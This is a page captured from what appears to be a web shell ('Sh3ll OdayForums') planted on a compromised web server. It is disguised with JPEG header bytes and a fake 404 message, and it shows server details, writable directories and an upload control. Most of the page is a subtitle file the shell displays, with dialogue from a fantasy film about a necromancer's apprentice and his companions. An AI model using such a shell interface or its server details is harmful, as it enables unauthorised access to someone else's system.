����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c84e822dfa97-1552214050.vtt
WEBVTT - https://subtitletools.com

00:00:45.715 --> 00:00:48.298
Which one?

00:00:49.941 --> 00:00:52.116
That one.
Follow me, hurry.

00:00:54.233 --> 00:00:55.186
Go!

00:00:55.187 --> 00:00:58.080
- I think he went over here. This way.
- Right behind you.

00:01:01.228 --> 00:01:04.520
- Faster.
- Get him!

00:01:40.140 --> 00:01:42.425
Out of the way!

00:01:42.680 --> 00:01:43.696
Halt!

00:01:48.228 --> 00:01:49.465
Did you see him?

00:01:55.361 --> 00:01:56.404
I see him.

00:01:57.620 --> 00:01:58.708
Come on.

00:02:01.600 --> 00:02:02.769
We have to follow him.

00:02:18.446 --> 00:02:21.608
- There he is. There he is.
- Come on.

00:03:12.033 --> 00:03:13.107
Marek.

00:03:13.403 --> 00:03:17.235
Your mind must be as sharp and focused,
as the point of that arrow.

00:03:17.236 --> 00:03:20.525
Whenever distracted by fear and desire,
It pierces all things.

00:03:20.526 --> 00:03:23.178
- Turned inward, it pierces you.
- Pierces me?

00:03:23.560 --> 00:03:25.098
What does that even mean?

00:03:27.919 --> 00:03:28.949
Focus.

00:03:32.498 --> 00:03:33.596
Focus!

00:03:34.350 --> 00:03:38.348
How can I focus when you're teaching
in proverbs and talking in circles?

00:03:38.587 --> 00:03:39.656
You're holding back.

00:03:41.237 --> 00:03:46.082
You have faced certain death, before
and defeated it with your wit and courage.

00:03:48.108 --> 00:03:50.453
The next time you drain the life of someone,

00:03:52.175 --> 00:03:54.367
it will be hard for you
to recover yourself.

00:03:55.724 --> 00:03:57.059
Three years ago,

00:03:58.088 --> 00:04:00.892
I had a team.
We called ourselves the Redthornes.

00:04:01.990 --> 00:04:03.147
And we were good.

00:04:03.752 --> 00:04:07.033
The best there was.
Good enough to gain the favor of the gods.

00:04:07.060 --> 00:04:09.078
- And?
- And...

00:04:09.851 --> 00:04:11.258
We were rich.

00:04:11.442 --> 00:04:14.044
And powerful.
The envy of the realm.

00:04:14.045 --> 00:04:15.520
You were a hero.

00:04:17.054 --> 00:04:18.078
What happened?

00:04:18.754 --> 00:04:21.421
We stopped Szorlok
from reuniting the Darkspore.

00:04:23.231 --> 00:04:25.433
And sacrificed a dear friend.

00:04:25.740 --> 00:04:27.282
There was no other way.

00:04:28.693 --> 00:04:31.065
The others never forgave me,
so that was the end

00:04:31.471 --> 00:04:32.919
of the Red Thornes.

00:04:35.397 --> 00:04:38.211
Heroes do, what others can't.

00:04:38.888 --> 00:04:42.870
Not because they want to,
not for themselves or their friends.

00:04:43.050 --> 00:04:46.430
They choose the unwanted path,
the darkest roads.

00:04:47.287 --> 00:04:48.822
Can you do that?

00:04:51.796 --> 00:04:53.474
Yes, I think so.

00:04:56.223 --> 00:04:57.454
Good.

00:05:12.668 --> 00:05:13.727
For you.

00:05:16.530 --> 00:05:17.720
Thank you.

00:05:20.411 --> 00:05:21.586
Don't thank me.

00:05:22.098 --> 00:05:25.584
Tomorrow you'll be cursing the day
you ever met, Gojun Pye.

00:05:29.525 --> 00:05:30.610
Now...

00:05:31.198 --> 00:05:32.324
Focus!

00:05:58.740 --> 00:06:00.702
Possession... Sensations...

00:06:00.737 --> 00:06:04.339
Friends, even enemies. You must cut
all attachments and be free of them.

00:06:05.784 --> 00:06:06.928
Clear?

00:06:11.727 --> 00:06:15.711
When you said, you weren't gonna hold back,
I didn't think you meant it so literally.

00:06:15.784 --> 00:06:17.731
The more I make you fight me here,

00:06:17.766 --> 00:06:20.731
the less energy you'll have
to fight me... here.

00:06:42.073 --> 00:06:43.135
What is it?

00:06:44.667 --> 00:06:45.688
What is it?

00:06:54.863 --> 00:06:56.644
It's a feeling.

00:06:57.659 --> 00:06:58.890
It's gone, now.

00:07:02.231 --> 00:07:03.639
We've done enough for today.

00:07:06.509 --> 00:07:08.844
I'll be here before sunrise,
we'll start again.

00:07:09.999 --> 00:07:11.359
Before sunrise!

00:07:39.616 --> 00:07:41.633
Gentlemen, some music, please.

00:08:15.283 --> 00:08:16.378
Hammerhead!

00:08:18.375 --> 00:08:20.770
Another round of drinks
for the huis!

00:08:21.051 --> 00:08:22.777
From the Redthornes!

00:08:25.114 --> 00:08:28.029
- Thank you, Rethornes!
- We're the Rethornes!

00:08:28.064 --> 00:08:30.192
- We're the Rethornes?
- Yes.

00:08:30.366 --> 00:08:33.084
- I like it.
- No, no, no. Red is not really my color.

00:08:33.432 --> 00:08:36.429
Two against one, Dagen.
We're the Rethornes.

00:08:38.795 --> 00:08:41.117
We're the Rethornes!

00:08:44.610 --> 00:08:45.646
Teela?

00:08:46.729 --> 00:08:47.886
Teela!

00:08:55.684 --> 00:08:56.966
Teela.

00:08:59.755 --> 00:09:00.956
What kept you?

00:09:01.361 --> 00:09:03.000
This and that.

00:09:03.295 --> 00:09:05.105
I am glad to see you, Thane.

00:09:05.748 --> 00:09:07.258
Glad to see me?

00:09:07.881 --> 00:09:09.132
What about...

00:09:09.133 --> 00:09:11.539
The face you most longed to see,

00:09:11.783 --> 00:09:13.022
Is mine?

00:09:16.325 --> 00:09:18.638
Heavens, I am famished.

00:09:19.229 --> 00:09:20.993
I must get something to eat.

00:09:37.257 --> 00:09:38.772
Yes.

00:09:40.403 --> 00:09:41.966
Yes!

00:09:43.702 --> 00:09:46.822
No. No, no, no.
Don't think so, keep dancing.

00:09:47.044 --> 00:09:48.683
- I have to go.
- Nee, one more dance.

00:09:48.684 --> 00:09:49.764
Nee.

00:09:50.198 --> 00:09:52.176
I told Gojun Pye I'd see him tonight.

00:09:52.716 --> 00:09:57.311
You promised that grey old hermit,
that you would rather see him,

00:09:57.407 --> 00:09:59.408
than stay with this?

00:10:01.413 --> 00:10:02.755
Come now, Dagen.

00:10:02.998 --> 00:10:04.377
I'm sure there's some

00:10:04.412 --> 00:10:07.915
old mistress of yours
that you can seduce

00:10:07.950 --> 00:10:09.940
into giving you a discount.

00:10:11.598 --> 00:10:14.378
Discount, just got married.
Wait. Wait. wait.

00:10:14.481 --> 00:10:16.327
Horseshit aside.

00:10:16.813 --> 00:10:19.226
Let’s go someplace, huh?
Let get out of here.

00:10:19.227 --> 00:10:22.911
You and me. Let’s take a walk.
Just the two of us.

00:10:26.811 --> 00:10:29.488
I... No, I have...
I have to go.

00:10:36.710 --> 00:10:39.042
The Red Thornes!

00:10:42.262 --> 00:10:43.086
Another pint.

00:10:43.121 --> 00:10:45.632
You must be out of your senses
if you don't quit.

00:10:45.633 --> 00:10:47.207
Lest say, I'll do that.

00:10:51.555 --> 00:10:53.128
I should go.

00:10:53.732 --> 00:10:55.698
I have prayers to make at nightfall.

00:10:55.822 --> 00:10:59.314
For goddess prayers?
Is there no end to your piety?

00:10:59.518 --> 00:11:03.370
Surely, the goddess needs a night off
from your prayers as desperately as I do?

00:11:03.928 --> 00:11:05.712
Please, take your hands of me.

00:11:11.386 --> 00:11:13.983
What did you think was going to happen?

00:11:14.793 --> 00:11:18.838
She's unobtainable.
You can look but don't touch.

00:11:22.075 --> 00:11:25.590
- Let's quit it.
- No I will not quit it, it's pathetic.

00:11:26.024 --> 00:11:28.619
Quite frankly, you're ruining
our victory smell.

00:11:29.410 --> 00:11:31.031
It smells limp.

00:11:31.106 --> 00:11:33.825
And unmanly.
It smells like sagged balls.

00:11:38.397 --> 00:11:40.223
- Alright.
- I'm done.

00:11:42.259 --> 00:11:44.145
I see you back at the cave.

00:11:52.241 --> 00:11:55.421
Goddess of Light,
hear my prayer.

00:11:56.481 --> 00:11:58.204
I'm at a crossroad.

00:12:04.824 --> 00:12:05.998
It's only me.

00:12:07.990 --> 00:12:09.804
I haven’t finished my prayers.

00:12:10.056 --> 00:12:11.689
This won't take long.

00:12:13.204 --> 00:12:14.746
I just wanted to tell you,

00:12:15.185 --> 00:12:17.980
- I was a good soldier.
- What?

00:12:18.015 --> 00:12:23.361
I never fell asleep on a night-watch.
I spoiled field rations, without complaint.

00:12:23.396 --> 00:12:25.916
Up every morning,
before the cock crowed.

00:12:26.221 --> 00:12:28.774
I know what it means,
to make an oath.

00:12:30.262 --> 00:12:32.634
I know what it means,
to break one.

00:12:35.083 --> 00:12:37.572
- Thane...
- I just wanna tell you,

00:12:38.975 --> 00:12:40.547
I respect your vow.

00:12:42.553 --> 00:12:45.752
You won’t have to push me away, anymore.

00:12:45.919 --> 00:12:48.206
From now on, I'm your brother-at-arms.

00:12:50.003 --> 00:12:51.180
Nothing more.

00:12:58.678 --> 00:12:59.767
Right.

00:13:00.678 --> 00:13:02.949
That's about the reaction I expected.

00:13:03.692 --> 00:13:04.993
Good night.

00:13:10.840 --> 00:13:11.916
Thane!

00:14:31.363 --> 00:14:34.889
Good timing. Let's close the portal,
before more of them come through.

00:14:35.852 --> 00:14:37.287
Close the portal.

00:14:37.289 --> 00:14:40.287
- How do I close it?
- By hands-on magic!

00:14:40.322 --> 00:14:43.597
- What do I use for inversion?
- Anything!

00:15:23.302 --> 00:15:24.553
Not good.

00:15:50.700 --> 00:15:55.033
In about three seconds,
I'm gonna faint due to loss of blood.

00:15:55.068 --> 00:15:56.853
I can't fight them all alone.

00:15:56.854 --> 00:16:00.586
No... You'll have to buy me ten seconds,
give or take.

00:16:29.248 --> 00:16:31.008
Wow.

00:16:32.505 --> 00:16:34.979
- You have to teach me that one.
- Oh, yeah, sure.

00:16:35.064 --> 00:16:38.978
As soon as I find enough cursed black prolog.
But right now,

00:16:39.357 --> 00:16:40.369
really...

00:16:40.503 --> 00:16:44.560
we need to... cauterize...
my wound, before...

00:16:47.419 --> 00:16:48.557
Sorry.

00:17:15.148 --> 00:17:16.328
Gods.

00:17:18.213 --> 00:17:20.623
I'm not sure you had to burn
my hole side up.

00:17:20.624 --> 00:17:22.199
Sorry, I panicked.

00:17:22.495 --> 00:17:25.280
Just be glad you fainted,
before I started the burning.

00:17:27.613 --> 00:17:31.389
I'm not complaining.
And now I'm here, aren't I?

00:17:33.826 --> 00:17:35.546
Where exactly am I?

00:17:36.020 --> 00:17:37.838
We're near my teams hide-out.

00:17:37.877 --> 00:17:39.475
What happened up there?

00:17:40.343 --> 00:17:43.564
The portal.
Those... creatures?

00:17:43.844 --> 00:17:45.667
Last night, I was...

00:17:46.517 --> 00:17:48.035
struck with a vision...

00:17:48.887 --> 00:17:50.383
of Szorlok,

00:17:51.297 --> 00:17:53.564
stepping off a boat onto dry land.

00:17:53.747 --> 00:17:56.622
So, last night I went to see for myself.

00:17:56.657 --> 00:17:58.208
It was a trap and I...

00:17:58.255 --> 00:18:00.254
I walked right into it.

00:18:00.408 --> 00:18:02.788
Hundreds of his minions
where waiting for me.

00:18:02.918 --> 00:18:04.188
So, I...

00:18:04.425 --> 00:18:06.496
had to use the portal as a...

00:18:07.299 --> 00:18:10.122
last resort to escape,
but they followed me here.

00:18:10.157 --> 00:18:13.000
Well... You know the rest of the story.

00:18:13.514 --> 00:18:14.977
Szorlok has...

00:18:15.505 --> 00:18:17.926
two pieces of the Darkspore, now.

00:18:18.559 --> 00:18:21.202
So, he has begun to work
on reanimating the dead.

00:18:21.651 --> 00:18:23.623
If he unites all four pieces,

00:18:23.624 --> 00:18:27.401
his undead legions will spring
right out every other hollow grave and...

00:18:28.367 --> 00:18:30.254
he would be unstoppable.

00:18:31.624 --> 00:18:34.987
You never told me the whole story,
how you stopped Szorlok in the first place.

00:18:35.022 --> 00:18:36.879
It was twenty-one years ago,

00:18:37.571 --> 00:18:40.425
Szorlok was digging deep
into the hidden magic’s.

00:18:41.053 --> 00:18:43.557
At the time the invaders
were at our doorstep.

00:18:44.862 --> 00:18:49.612
Toxicated with his new source of power,
he sought to expand it further
with the Darkspore.

00:18:49.792 --> 00:18:52.929
Uniting it, he would become
the Lich King.

00:18:52.981 --> 00:18:54.343
Master over...

00:18:54.595 --> 00:18:55.905
death itself.

00:18:57.706 --> 00:19:01.137
Fortunately, I turned against him,
before he finished the deed.

00:19:01.197 --> 00:19:02.827
- Szorlok!
- We stopped Szorlok.

00:19:02.828 --> 00:19:05.366
- No!
- Eventhough it caused our king in the war.

00:19:09.885 --> 00:19:11.020
What now?

00:19:11.255 --> 00:19:15.060
Szorlok will need the last two pieces
of the Darkspore.

00:19:15.724 --> 00:19:19.317
And then he will would necromancers.
He needs you.

00:19:20.354 --> 00:19:21.914
Well, he can't have me.

00:19:22.313 --> 00:19:23.514
That's right.

00:19:24.268 --> 00:19:26.965
And you are gonna do
whatever I tell you, now.

00:19:26.987 --> 00:19:28.188
Agreed?

00:19:30.179 --> 00:19:31.917
You stay here and do nothing.

00:19:31.995 --> 00:19:33.047
What?

00:19:33.466 --> 00:19:36.394
- Do nothing. And you stay here.
- Well, you can't just expect me to...

00:19:36.395 --> 00:19:37.413
Thanks.

00:19:39.127 --> 00:19:42.369
Szorlok is looking for you,
but he must not find you.

00:19:42.404 --> 00:19:44.240
Not until, you're ready to face him.

00:19:44.432 --> 00:19:47.109
To risk meeting him now,
is to risk the faith of the world.

00:19:47.110 --> 00:19:49.025
Do you understand that?

00:19:49.243 --> 00:19:52.107
- So, you want me to just hide?
- Yes.

00:19:54.791 --> 00:20:01.979
Where're you going?

00:20:01.980 --> 00:20:02.065
You stay in your hideout
and when I return,

00:20:02.100 --> 00:20:04.439
and if, you are still here,

00:20:04.894 --> 00:20:07.296
I will teach you any spell you want.

00:20:07.756 --> 00:20:08.843
Agreed?

00:20:13.495 --> 00:20:14.844
Stay here.

00:21:51.528 --> 00:21:53.171
Ana-Sett.

00:21:53.522 --> 00:21:55.432
Goddess of the Light.

00:21:55.433 --> 00:21:57.040
Hear my prayer.

00:21:57.041 --> 00:21:59.331
Ana-Sett.

00:21:59.366 --> 00:22:03.418
Goddess of Light,
hear my prayer, please.

00:22:03.419 --> 00:22:04.670
Teela.

00:22:04.671 --> 00:22:06.955
- What happened?
- Goddess of Light, please hear my prayer.

00:22:06.956 --> 00:22:08.281
Teela, what happened?

00:22:12.315 --> 00:22:13.900
- Teela, calm down.
- Can't handle this.

00:22:14.169 --> 00:22:15.747
Teela, what happened?

00:22:17.937 --> 00:22:19.588
The Den has Thane.

00:22:25.497 --> 00:22:26.604
Come on.

00:22:43.569 --> 00:22:45.384
They can't just take him in,
can they? Maybe,

00:22:45.419 --> 00:22:48.136
- we can go to the magistrate...
- No, no, no, no.

00:22:54.600 --> 00:22:58.823
Now, Thane is a condemned man.
Convicted before he freed him.

00:22:58.823 --> 00:23:01.851
The battalions will free him from the den,
only to carry out his execution.

00:23:01.852 --> 00:23:03.488
It's all my fault.

00:23:03.847 --> 00:23:06.901
- It was me Peregus was after.
- We should go to the Guild.

00:23:06.902 --> 00:23:09.787
Plead with Peregus.
Let's use all the money we have left.

00:23:09.916 --> 00:23:11.938
Maybe we can pay for his release.

00:23:14.046 --> 00:23:15.413
I can't go.

00:23:16.409 --> 00:23:18.552
I shouldn't have even come this far.

00:23:19.157 --> 00:23:20.486
I'm sorry.

00:23:20.663 --> 00:23:21.957
What?

00:23:23.269 --> 00:23:27.918
Look, Thane and I may have our rivalries,
and gods knows I wished him dead once or twice,

00:23:28.318 --> 00:23:30.080
But Peregus...

00:23:30.438 --> 00:23:36.034
Peregus Malister is a notorious vicious tormentor
and Thane will suffer excruciatingly, every minute,

00:23:36.035 --> 00:23:39.947
- until he is freed or dead.
- This is all the money I have.

00:23:40.175 --> 00:23:41.241
Take it.

00:23:44.781 --> 00:23:46.691
Thane needs you, Marek.

00:23:47.163 --> 00:23:50.694
He would gladly take your place,
were the situations reversed.

00:23:51.432 --> 00:23:52.875
Is that what you want?

00:23:53.700 --> 00:23:55.471
For me to take his place?

00:23:55.940 --> 00:23:58.987
If that is what it comes to,
I'll gladly do it, you know it.

00:24:00.119 --> 00:24:03.287
I can't.
It's all my fault.

00:24:03.836 --> 00:24:06.292
Nonsense, how can it be your fault?

00:24:08.149 --> 00:24:09.255
Dagen,

00:24:09.290 --> 00:24:11.977
you're more familiar with the Guild
than either of us.

00:24:13.326 --> 00:24:16.072
Is this is enough to free Thane?

00:24:18.399 --> 00:24:19.513
Perhaps.

00:24:19.955 --> 00:24:22.711
I mean, I...
Maybe, I don't know.

00:24:23.258 --> 00:24:25.391
It might at least buy some time.

00:24:26.840 --> 00:24:28.578
You should come with us, Marek.

00:24:28.579 --> 00:24:33.691
- It will only infuriate Malister more.
- Yeah, maybe, but I just think, you should come.

00:24:34.362 --> 00:24:35.769
If for nothing e...

00:24:37.224 --> 00:24:40.029
If for nothing else,
than to say goodbye to him.

00:24:41.132 --> 00:24:43.389
Hurry now, before it's too late.

00:24:59.238 --> 00:25:02.151
It's not very often,
a man of my position,

00:25:02.328 --> 00:25:05.849
gets to hold the life
of a Vitalian in his hands.

00:25:06.142 --> 00:25:08.999
This is a very special occasion for me.

00:25:09.288 --> 00:25:13.185
And as a Taewang,
I'd like you to know that, Thane.

00:25:14.895 --> 00:25:17.847
It warms my heart
to know you're a patriot, Malister.

00:25:17.906 --> 00:25:19.281
Surely.

00:25:23.492 --> 00:25:26.584
I'll get my amuzement from your companions.

00:25:27.517 --> 00:25:32.245
And when you're body is displayed
and hung from the city walls,

00:25:32.698 --> 00:25:35.255
they will know how serious I am.

00:25:36.814 --> 00:25:40.480
I do have a reputation to uphold.

00:25:40.851 --> 00:25:43.889
You didn't seem to lose any advice
with those high placed friends over me.

00:25:43.890 --> 00:25:44.951
Yeah.

00:25:47.913 --> 00:25:50.189
Aye, we can make a deal, Malister.

00:25:50.475 --> 00:25:52.107
I can work it off for ya.

00:25:54.162 --> 00:25:56.967
You keep him alive as long as you can.

00:26:05.179 --> 00:26:06.336
Stop!

00:26:07.509 --> 00:26:10.457
You harm another one of my men
and I'll kill Thane.

00:26:11.031 --> 00:26:14.320
Kill Thane and there will be no one left
to protect you from us.

00:26:14.321 --> 00:26:16.823
I suppose you've come here
to save his life.

00:26:16.897 --> 00:26:18.840
Not see the both of us die.

00:26:20.171 --> 00:26:24.501
We brought money, but your men outside
wouldn't let us in.

00:26:25.102 --> 00:26:27.076
Just say the word, Teela.

00:26:27.327 --> 00:26:30.850
I've got this maggot.
Clean shot.

00:26:32.138 --> 00:26:34.964
Go ahead, kill me.

00:26:35.115 --> 00:26:37.677
And I will drop this rope.

00:26:37.678 --> 00:26:40.748
- And I will crush his skull.
- Dagen, no!

00:26:47.463 --> 00:26:48.677
Good!

00:26:50.142 --> 00:26:52.685
Now we all know our options.

00:26:54.511 --> 00:26:57.161
- Betylla...
- Peregus...

00:26:57.283 --> 00:26:59.865
These mercenaries,

00:26:59.866 --> 00:27:02.827
they are gonna solve
our supply chain woes.

00:27:03.798 --> 00:27:05.390
The Eel.

00:27:05.687 --> 00:27:07.584
Yes...

00:27:08.174 --> 00:27:10.223
The Eel

00:27:11.325 --> 00:27:13.286
What say you, Marek?

00:27:13.964 --> 00:27:15.716
My dear,

00:27:15.796 --> 00:27:20.019
- shall we strike another bargain?
- You all fight, don't listen to him.

00:27:20.391 --> 00:27:21.734
Kill this man.

00:27:22.583 --> 00:27:25.564
And rip out his beating hart
and hand it to him.

00:27:25.565 --> 00:27:27.343
Pay is pay.

00:27:28.124 --> 00:27:29.445
What's the job?

00:27:29.480 --> 00:27:34.082
We are owed a large shipment
of illustrium, north of the border.

00:27:35.025 --> 00:27:38.748
All you have to do
is bring that shipment to me.

00:27:39.294 --> 00:27:44.260
And I will forget all the offenses
Thane has shown me.

00:27:44.625 --> 00:27:45.901
But...

00:27:46.922 --> 00:27:49.042
If you fail,

00:27:49.335 --> 00:27:51.567
he's just gonna have to die.

00:27:52.138 --> 00:27:55.441
Why don't we just pay you
what we brought and call it good?

00:27:55.476 --> 00:28:00.597
Do you have 20.000 gold
in that little purse of yours?

00:28:01.350 --> 00:28:02.465
Huh?

00:28:03.541 --> 00:28:08.031
Because that is what one shipment
of illustrium is worth.

00:28:08.483 --> 00:28:11.666
And that's far less
than my reputation is worth.

00:28:11.701 --> 00:28:16.613
A reputation that was soiled
when that fyke put a knife to my throat

00:28:16.839 --> 00:28:20.671
and forced me to release
the freedom of that bitch!

00:28:20.706 --> 00:28:23.248
That bitch, I rightfully owned!

00:28:23.602 --> 00:28:24.933
Yes!

00:28:25.017 --> 00:28:30.451
Yes, this is the cost
of your freedom, slave girl.

00:28:30.486 --> 00:28:32.765
This is what you brought.

00:28:33.509 --> 00:28:38.305
North of the border is a large area to search
for one man. I'll need Thane for the job.

00:28:39.468 --> 00:28:41.482
That's just impossible.

00:28:42.082 --> 00:28:44.753
Betylla will accompany you on your journey.

00:28:45.634 --> 00:28:49.948
So long as I receive correspondence
on your progress,

00:28:50.213 --> 00:28:52.359
I still my hand,

00:28:52.770 --> 00:28:54.909
on this Vitalion pig.

00:28:59.617 --> 00:29:01.269
Are we agreed?

00:29:02.438 --> 00:29:04.529
- Is that agreed?
- Agreed.

00:29:04.892 --> 00:29:06.946
We leave at dawn.

00:29:09.098 --> 00:29:12.869
- Teela. Teela, stop.
- No regrets, Teela.

00:29:13.484 --> 00:29:15.928
Stop.
Listen to me.

00:30:16.133 --> 00:30:19.537
As long as Peregus Malister is send
one of these each sundown,

00:30:19.572 --> 00:30:22.089
your friend will live
to see another day.

00:30:22.460 --> 00:30:26.765
We are traveling 25 leagues
on the north road to the war front,

00:30:26.776 --> 00:30:29.608
to find Captain James Purio.

00:30:30.017 --> 00:30:33.989
Malister... thinks you got what it takes.

00:30:34.024 --> 00:30:36.491
Malister is a foul creature.

00:30:36.526 --> 00:30:40.367
And if he touches Thane,
I will personally slit his throat.

00:30:43.445 --> 00:30:44.511
Hey.

00:30:49.754 --> 00:30:51.079
For the ehh...

00:31:53.173 --> 00:31:56.198
You comrade lives
to suffer another day.

00:31:59.445 --> 00:32:01.744
Where do you keep those critters?

00:32:13.284 --> 00:32:16.403
It wasn't easy for you
to come with us, and...

00:32:16.906 --> 00:32:18.865
I was wrong to accuse you.

00:32:18.866 --> 00:32:22.283
- You see, I was not myself when I said...
- Forget it.

00:32:22.452 --> 00:32:25.476
I owe more to Thane,
than anyone else.

00:32:28.804 --> 00:32:30.480
You're not wearing your necklace.

00:32:30.797 --> 00:32:34.001
I uhm, no longer wear the image
of Ana-Sett

00:32:34.302 --> 00:32:37.599
Well, you weren't able to heal Thane,
but does that go for the rest of us?

00:32:37.634 --> 00:32:39.917
Maybe, your goddess
only withdrew her blessing from Thane.

00:32:39.918 --> 00:32:42.272
No, it's different.

00:32:42.307 --> 00:32:44.273
The heavens are closed to me.

00:32:44.847 --> 00:32:47.827
She may bless your path.

00:32:47.983 --> 00:32:50.561
- No. No, I can't... I... I don't want to...
- Please...

00:32:50.562 --> 00:32:53.420
I cannot bear to carry it
so silent and cold.

00:32:53.421 --> 00:32:55.113
Please, take it.

00:32:57.364 --> 00:32:58.446
Fine.

00:32:58.723 --> 00:33:02.464
But you'll need to earn back her favor.
And we need our healer.

00:33:06.150 --> 00:33:09.126
Thane made his choice.
You made yours.

00:33:09.317 --> 00:33:10.441
It's done.

00:33:10.513 --> 00:33:15.038
I'm sure that your goddess has nothing to gain
from you wallowing in guilt, now.

00:33:16.816 --> 00:33:18.352
You choose love.

00:33:18.843 --> 00:33:21.527
And now you're here
working to safe Thane for love.

00:33:22.709 --> 00:33:27.634
That's brave and noble and...
Any decent goddess would know that.

00:33:27.938 --> 00:33:31.845
Love. It's strange to hear you speak
so highly of it.

00:33:32.596 --> 00:33:34.519
Do I seem so unfeeling?

00:33:34.520 --> 00:33:37.606
You never take Dagen's affection
for you seriously.

00:35:00.208 --> 00:35:02.938
I have business with Captain Purio.

00:35:05.280 --> 00:35:08.919
Captain Purio is a little busy today,
fighting Gutchers.

00:35:09.679 --> 00:35:12.208
War business past this point only.

00:35:12.234 --> 00:35:15.367
The Captain will want to see me,
I assure you.

00:35:18.218 --> 00:35:21.030
- You can pass, but only you.
- No!

00:35:21.891 --> 00:35:23.296
I'm going with you.

00:35:24.385 --> 00:35:27.106
Fine.
Just you.

00:35:51.387 --> 00:35:52.804
Kill them!

00:35:53.161 --> 00:35:54.327
Forwards!

00:35:54.650 --> 00:35:58.444
- Where is Captain Purio?
- He was on the front lines, last I heard.

00:36:00.607 --> 00:36:01.911
Wait!

00:36:01.917 --> 00:36:03.118
You can't be serious.

00:36:03.159 --> 00:36:06.065
If he dies up there, before we get to him,
our league will be over.

00:36:06.100 --> 00:36:09.426
and so will the mission,
along with the life of your friend.

00:36:13.643 --> 00:36:14.693
Move out!

00:36:50.081 --> 00:36:51.212
Water...

00:36:51.407 --> 00:36:54.549
- So thirsty...
- Where is Captain Purio?

00:36:54.550 --> 00:36:56.158
Help, please...

00:36:58.095 --> 00:36:59.558
Hold it, you bastard!

00:37:00.984 --> 00:37:02.347
Where?

00:37:02.706 --> 00:37:04.625
The field hospital.

00:38:06.088 --> 00:38:09.464
What bring you to the...
bows of hell?

00:38:09.970 --> 00:38:11.784
Is it a friendly visit?

00:38:14.850 --> 00:38:16.115
The Eel.

00:38:17.107 --> 00:38:18.553
Where is he?

00:38:18.554 --> 00:38:22.641
Wow, now...
The Eel is my friend.

00:38:22.988 --> 00:38:25.931
Trade secret, his whereabouts.

00:38:26.646 --> 00:38:28.960
Checks and balances, you know?

00:38:29.604 --> 00:38:32.021
If I give you the Eel, now...

00:38:32.299 --> 00:38:35.481
It cuts me out
of the supply chain, you see?

00:38:40.891 --> 00:38:43.409
- Please, Captain.
- No, no. Let him kill me.

00:38:43.885 --> 00:38:46.500
I'll die of the plague maraud, anyhow,

00:38:46.501 --> 00:38:49.781
If the medics don't kill me first.

00:38:49.782 --> 00:38:51.501
I need to find the Eel.

00:38:51.765 --> 00:38:54.725
He's the key,
to saving a dear friend.

00:38:55.592 --> 00:39:01.059
Why is a sweet thing like you,
working with a slug like Betylla?

00:39:01.094 --> 00:39:02.651
Please...

00:39:03.246 --> 00:39:07.214
The truth is,
I've not heard from the Eel...

00:39:09.025 --> 00:39:11.788
In a moon, at least.

00:39:12.443 --> 00:39:13.621
No, but,

00:39:14.055 --> 00:39:16.552
you might know where he is.

00:39:17.607 --> 00:39:19.350
Come closer.

00:39:21.385 --> 00:39:24.358
The Eel is in love
with a whore named Yuliya.

00:39:24.393 --> 00:39:29.910
She's at the Rose Traveling Brothel,
camped just outside of Ungkirk,

00:39:29.911 --> 00:39:32.376
south of the Illustrium mine.

00:39:32.377 --> 00:39:35.558
If the Eel is hiding from the world,

00:39:35.841 --> 00:39:38.159
that's where he'll be.

00:39:39.360 --> 00:39:40.380
Thank you.

00:40:29.366 --> 00:40:30.400
No.

00:40:31.655 --> 00:40:34.635
- We're leaving.
- You bastard, what have you done!

00:40:36.511 --> 00:40:38.184
No witnesses.

00:40:39.264 --> 00:40:40.403
I'll kill you!

00:40:46.546 --> 00:40:48.131
Get off me.

00:40:50.578 --> 00:40:53.338
Get... off... me...

00:40:54.966 --> 00:40:57.949
Your friend... will die.

00:41:10.576 --> 00:41:13.068
You will obey me,

00:41:13.698 --> 00:41:17.647
- or not another messenger will be released.
- You're a vile man.

00:41:18.080 --> 00:41:21.503
- How do you live with yourself?
- I can ask you the same...

00:41:21.972 --> 00:41:23.667
Necromancer.

00:41:56.413 --> 00:41:57.697
- Did you find him?
- Yes.

00:41:57.797 --> 00:42:00.799
- What happened?
- We know where the Eel is, let’s go.

00:42:39.233 --> 00:42:40.795
Dire wolves.

00:42:42.696 --> 00:42:46.863
Maybe half a league away, at most.
We need to build a fire, and soon.

00:42:57.440 --> 00:43:00.894
And if a swallow or an owl make pray of it,
what then?

00:43:01.224 --> 00:43:03.782
My beetles are pray to nothing.

00:44:04.484 --> 00:44:06.303
What is that you give them?

00:44:07.817 --> 00:44:10.127
Only the Nuri cement they need.

00:44:10.329 --> 00:44:12.193
How long have you had them
with you?

00:44:13.150 --> 00:44:15.401
None of them are older
then 2 years,

00:44:15.402 --> 00:44:18.190
but I've kept their lineage,
since I was a boy.

00:44:18.762 --> 00:44:22.557
- Would you like to hold him?
- No, I... I couldn't, I...

00:44:22.678 --> 00:44:24.129
They're clean.

00:44:25.069 --> 00:44:28.574
They are a friend to the farmer
and then huntsman.

00:44:29.032 --> 00:44:31.780
They are the ideal organism.

00:44:34.073 --> 00:44:37.404
What is it you whisper to them,
when you send them back to the den?

00:44:39.111 --> 00:44:40.652
One word...

00:44:42.686 --> 00:44:44.453
Home.

00:45:10.074 --> 00:45:11.673
I'll take the watch.

00:45:12.250 --> 00:45:14.333
I can't sleep, anyway.

00:45:15.337 --> 00:45:16.364
Yeah...

00:45:17.742 --> 00:45:19.211
Me neither.

00:45:27.532 --> 00:45:28.935
How's the, eh...

00:45:29.771 --> 00:45:32.130
training with Gojun Pye going?

00:45:32.674 --> 00:45:36.264
- He wants me to be something that I'm not.
- What, Deity?

00:45:36.657 --> 00:45:38.084
Elegant, even?

00:45:39.278 --> 00:45:41.722
Gentle, perhaps?

00:45:41.999 --> 00:45:44.752
- It's not funny.
- It was a bit funny.

00:45:45.461 --> 00:45:46.894
He wants me to,

00:45:47.095 --> 00:45:49.344
dedicate myself completely.

00:45:50.152 --> 00:45:52.360
Because that would make you more
like, what?

00:45:53.935 --> 00:45:55.188
Teela?

00:45:57.589 --> 00:45:58.746
I don't know.

00:45:59.584 --> 00:46:01.147
Like him...

